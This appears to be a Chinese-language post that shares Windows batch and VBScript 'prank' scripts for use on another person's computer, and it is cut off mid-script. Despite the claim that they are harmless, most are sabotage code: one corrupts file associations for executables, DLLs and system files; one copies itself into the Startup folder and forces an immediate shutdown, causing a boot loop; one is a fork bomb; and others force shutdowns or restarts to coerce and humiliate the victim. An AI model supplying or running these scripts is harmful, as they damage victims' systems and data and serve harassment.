这是一个恶搞程序,运行后会出现N个本地磁盘,但是对电脑没有什么实际伤害。
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
如果要解除就用这个
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
如果你对对方恨之入骨就用这个,这个会把文件关联改的一团糟
@echo off
assoc .exe=txtfile
assoc .txt=exefile
assoc .mp3=txtfile
assoc .flv=txtfile
assoc .swf=txtfile
assoc .fla=txtfile
assoc .jpg=txtfile
assoc .bmp=txtfile
assoc .zip=txtfile
assoc .7z=txtfile
assoc .rar=txtfile
assoc .tag=txtfile
assoc .jpge=txtfile
assoc .mp4=txtfile
assoc .3gp=txtfile
assoc .avi=txtfile
assoc .wav=txtfile
assoc .htm=txtfile
assoc .html=txtfile
assoc .vbs=txtfile
assoc .vbe=txtfile
assoc .js=txtfile
assoc .rxproj=txtfile
assoc .mdb=txtfile
assoc .dll=txtfile
assoc .dat=txtfile
assoc .sys=txtfile
assoc .wmv=txtfile
assoc .ogg=txtfile
assoc .db=txtfile
assoc .mid=txtfile
assoc .gif=txtfile
assoc .png=txtfile
assoc .doc=txtfile
assoc .exl=txtfile
assoc .pdf=txtfile
assoc .chm=txtfile
assoc .nfo=txtfile
或者用这个
@echo off
copy %0 "%ALLUSERSPROFILE%\「开始」菜单\程序\启动" shutdown -s -f -t 0
你也可以用这个超级弹窗程序吓吓他
@echo off
for /l %%i in (1,1,10000) do (start %0)
让对方重启指定次数
@echo off
if not exist c:1.txt echo. >c:1.txt & goto err1
if not exist c:2.txt echo. >c:2.txt & goto err1
if not exist c:3.txt echo. >c:3.txt & goto err1
if not exist c:4.txt echo. >c:4.txt & goto err1
if not exist c:5.txt echo. >c:5.txt & goto err1
goto err2
:err1
shutdown -s -t 0
:err2
上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次
对方必须说“我是猪”,否则电脑会在60秒内关机。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~"
让人崩溃的关机程序
首先你可以看下面的
WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)
WScript.Echo("你是可爱的XX童鞋吗?")
WScript.Echo("哈,我想你拉,这你都不知道吗?")
WScript.Echo("怎么才来,说~是不是不关心我")
WScript.Echo("哼,我生